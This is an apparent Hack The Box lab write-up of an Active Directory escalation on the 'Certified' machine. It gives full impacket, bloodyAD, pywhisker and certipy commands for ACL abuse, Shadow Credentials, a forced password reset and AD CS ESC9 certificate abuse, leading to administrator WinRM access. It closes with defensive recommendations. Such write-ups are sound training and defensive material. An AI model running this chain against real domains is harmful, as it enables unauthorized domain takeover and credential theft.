Skip to content

Certified — Active Directory ACL Delegation and AD CS ESC9 Escalation

Tools
rustscan, nmap, rusthound-ce, impacket-owneredit, impacket-dacledit, bloodyAD, pywhisker, gettgtpkinit, getnthash, certipy-ad, evil-winrm
Skill demonstrated
Active Directory ACL abuse and AD CS certificate escalation
Tags
  • windows
  • active-directory
  • ad-cs
Field Value
Difficulty Medium
Target environment Windows Active Directory domain controller
Starting position Provided low-privilege domain credentials
Objective Escalate from provided low-privilege credentials through an ACL delegation chain to administrative domain-controller access
Outcome Administrative domain-controller execution via an ESC9-issued Administrator certificate

Certified is a Medium Hack The Box Active Directory lab that starts from provided low-privilege domain credentials. Directory relationship data exposes a chain of delegated permissions across a management group, a service account, and a certificate-operator account, which is closed by abusing AD CS ESC9 to obtain an Administrator certificate. Target addresses, hostnames, account names, SIDs, and credential, hash, and certificate values are replaced with role-based placeholders; a small number of transitions are recorded by command only, without captured output.

Attack path: WriteOwner on Management → group membership → GenericWrite Shadow Credentials on the service account → GenericAll over the certificate-operator account → forced password reset → AD CS ESC9 UPN manipulation → Administrator certificate

Certified runs Active Directory on a Windows domain controller. The lab begins from a single provided low-privilege account and requires no initial foothold; Kerberos, LDAP, SMB, and WinRM are exposed. LDAP-backed directory collection produced the relationship graph used to plan the escalation. The objective was to move from the provided account to administrative control of the domain controller by following the permitted relationships rather than exploiting a remote-code-execution flaw.

Activity was confined to the Hack The Box lab environment, and the provided credentials were the only starting point.

1. Enumerate domain services and the ACL path

Section titled “1. Enumerate domain services and the ACL path”

Observation: a service scan exposed a domain controller (Kerberos, LDAP, SMB, and WinRM), and directory collection with the provided account surfaced a chain of delegated access.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV
rusthound-ce -u '<LAB_USER>' -p '<LAB_PASSWORD>' \
--domain <DOMAIN> -c All -z -o certified

Truncated scan output:

53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap <DOMAIN>
445/tcp open microsoft-ds
636/tcp open ssl/ldap
3268/tcp open ldap
5985/tcp open http WinRM

The collected directory data revealed this ACL path:

<LAB_USER>
-> WriteOwner on Management
-> add self to Management
-> Management has GenericWrite on <SERVICE_ACCOUNT>
-> Shadow Credentials to <SERVICE_ACCOUNT>
-> <SERVICE_ACCOUNT> has GenericAll over <CA_OPERATOR>
-> reset <CA_OPERATOR> password
-> <CA_OPERATOR> can enroll in an ESC9 template
-> Administrator certificate

Significance: LDAP, SMB, and WinRM provide the directory paths needed for the later ACL and certificate operations, and the delegated permissions form a contiguous route from the starting account to a certificate authority.

Result: the exposed services and the delegated-permission chain are identified, defining the escalation plan.

Observation: <LAB_USER> holds WriteOwner on the Management group, so the object’s owner can be rewritten.

Terminal window
impacket-owneredit -dc-ip <TARGET_IP> -action write \
-new-owner '<LAB_USER>' -target-sid '<MANAGEMENT_SID>' \
'<DOMAIN>/<LAB_USER>:<LAB_PASSWORD>'

Output:

[*] OwnerSid modified successfully!

Significance: controlling an object’s owner allows its DACL to be rewritten, so ownership is a stepping stone to effective rights.

Result: <LAB_USER> becomes owner of Management.

3. Rewrite the group DACL and join Management

Section titled “3. Rewrite the group DACL and join Management”

Observation: as owner, the group DACL can be modified to grant membership-write, after which the account can add itself to the group.

Terminal window
impacket-dacledit -action write -rights WriteMembers \
-principal '<LAB_USER>' -target-dn '<MANAGEMENT_DN>' \
'<DOMAIN>/<LAB_USER>:<LAB_PASSWORD>'
bloodyAD --host <TARGET_IP> -d <DOMAIN> \
-u '<LAB_USER>' -p '<LAB_PASSWORD>' \
add groupMember 'Management' '<LAB_USER>'

Significance: the group carries GenericWrite over <SERVICE_ACCOUNT>, so membership converts a low-privilege account into control over that service account.

Result: <LAB_USER> is added to Management, which the next stage depends on.

4. Shadow Credentials over the service account

Section titled “4. Shadow Credentials over the service account”

Observation: Management has GenericWrite over <SERVICE_ACCOUNT>, enough to add a key credential and authenticate through PKINIT.

Terminal window
python3 pywhisker.py -d <DOMAIN> -u '<LAB_USER>' \
-p '<LAB_PASSWORD>' --target '<SERVICE_ACCOUNT>' --action add

Output:

[+] Saved PFX (#PKCS12) certificate & key at path: <PFX_FILE>
[*] Must be used with password: <PFX_PASSWORD>

Request a TGT with the key credential and recover the account NT hash:

Terminal window
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass '<PFX_PASSWORD>' \
<DOMAIN>/<SERVICE_ACCOUNT> <CCACHE_FILE>
export KRB5CCNAME=<CCACHE_FILE>
python3 getnthash.py -key '<AS_REP_KEY>' <DOMAIN>/<SERVICE_ACCOUNT>

Output:

Recovered NT Hash

Significance: Shadow Credentials convert write access into Kerberos authentication material without changing the account’s password, and getnthash exposes the account NT hash for pass-the-hash.

Result: a key credential and the NT hash for <SERVICE_ACCOUNT> are recovered and subsequently validated through WinRM (evil-winrm -i <DC_HOST> -u '<SERVICE_ACCOUNT>' -H '<SERVICE_ACCOUNT_HASH>') as <SERVICE_ACCOUNT>.

5. Reset the operator account and identify ESC9

Section titled “5. Reset the operator account and identify ESC9”

Observation: <SERVICE_ACCOUNT> holds GenericAll over <CA_OPERATOR>, permitting a password reset; the operator can then enumerate the certificate authority.

Terminal window
bloodyAD --host <TARGET_IP> -d <DOMAIN> \
-u '<SERVICE_ACCOUNT>' -p ':<SERVICE_ACCOUNT_HASH>' \
set password '<CA_OPERATOR>' '<NEW_OPERATOR_PASSWORD>'

Output:

[+] Password changed successfully!

Enumerate vulnerable templates with the operator account:

Terminal window
certipy-ad find -vulnerable -u '<CA_OPERATOR>' \
-p '<NEW_OPERATOR_PASSWORD>' -dc-ip <TARGET_IP>

Output:

Template Name : <VULNERABLE_TEMPLATE>
Vulnerability : ESC9 - Template has no security extension
CA Name : <CA_NAME>

Significance: GenericAll allows a reset that grants full control of the operator account, and that account can enroll in a template missing the security extension — the ESC9 condition.

Result: the operator password is reset and a template vulnerable to ESC9 is identified.

6. ESC9 enrollment and administrative authentication

Section titled “6. ESC9 enrollment and administrative authentication”

Observation: with the operator’s credentials and its UPN pointed at the administrative identity, the vulnerable template can issue a certificate that authenticates as <ADMIN_ACCOUNT>.

Set the operator UPN:

Terminal window
certipy-ad account update -username '<SERVICE_ACCOUNT>@<DOMAIN>' \
-hashes '<SERVICE_ACCOUNT_HASH>' -user <CA_OPERATOR> \
-upn <ADMIN_ACCOUNT>

Request a certificate from the ESC9 template:

Terminal window
certipy-ad req -username '<CA_OPERATOR>@<DOMAIN>' \
-p '<NEW_OPERATOR_PASSWORD>' -dc-ip <TARGET_IP> \
-ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE>'

Output:

[*] Wrote certificate and private key to '<ADMIN_PFX>'

Restore the original UPN:

Terminal window
certipy-ad account update -username '<SERVICE_ACCOUNT>@<DOMAIN>' \
-hashes '<SERVICE_ACCOUNT_HASH>' -user <CA_OPERATOR> \
-upn '<CA_OPERATOR>@<DOMAIN>'

Authenticate with the issued certificate:

Terminal window
certipy-ad auth -pfx '<ADMIN_PFX>' -domain <DOMAIN> -dc-ip <TARGET_IP>

Output:

Got hash for '<ADMIN_ACCOUNT>@<DOMAIN>'

Access WinRM as the administrative identity:

Terminal window
evil-winrm -i <DC_HOST> -u '<ADMIN_ACCOUNT>' -H '<ADMIN_HASH>'

Output:

<DOMAIN>\<ADMIN_ACCOUNT>

Significance: ESC9 lets a certificate requested under the altered UPN be trusted as <ADMIN_ACCOUNT>, so the template produces administrative authentication material without any knowledge of the administrator password. Restoring the UPN limits the change left on the account.

Result: certificate authentication returns <ADMIN_ACCOUNT> material, and WinRM confirms execution as <DOMAIN>\<ADMIN_ACCOUNT>.

  • ESC9 enrollment requires the enrolling account to resolve to the target identity at request time. The operator account’s UPN was set to <ADMIN_ACCOUNT> for the certificate request and restored to <CA_OPERATOR>@<DOMAIN> immediately afterward; the restore is part of the recorded chain, not a remediation.

The evidence establishes administrative execution on the domain controller as <DOMAIN>\<ADMIN_ACCOUNT>, obtained from a certificate issued through the vulnerable template rather than from the administrator password.

None of the recommendations below was validated in the lab.

  1. Excessive ownership and DACL delegation on privileged groups. <LAB_USER> held WriteOwner over Management, so ownership could be taken and the group DACL rewritten. Recommendation: reduce WriteOwner/WriteMembers delegation on privileged groups and alert on owner and DACL changes.
  2. GenericWrite over a service account. Management had GenericWrite over <SERVICE_ACCOUNT>, which a key credential turned into Kerberos authentication material and the account NT hash. Recommendation: restrict GenericWrite on service accounts and monitor key-credential (msDS-KeyCredentialLink) writes for unexpected entries.
  3. GenericAll over the certificate-operator account. <SERVICE_ACCOUNT> had GenericAll over <CA_OPERATOR>, enabling an unauthorized password reset. Recommendation: apply least privilege to CA operator and service-account permissions and alert on privileged password resets.
  4. ESC9-vulnerable template with a mutable UPN. <VULNERABLE_TEMPLATE> lacked the certificate security extension, and the enrolling account’s UPN could be changed, so a certificate authenticated as <ADMIN_ACCOUNT>. Recommendation: configure templates with the security extension, enforce strong certificate binding, and audit UPN changes and certificate issuance for accounts that can enroll.
Edit page

Last updated: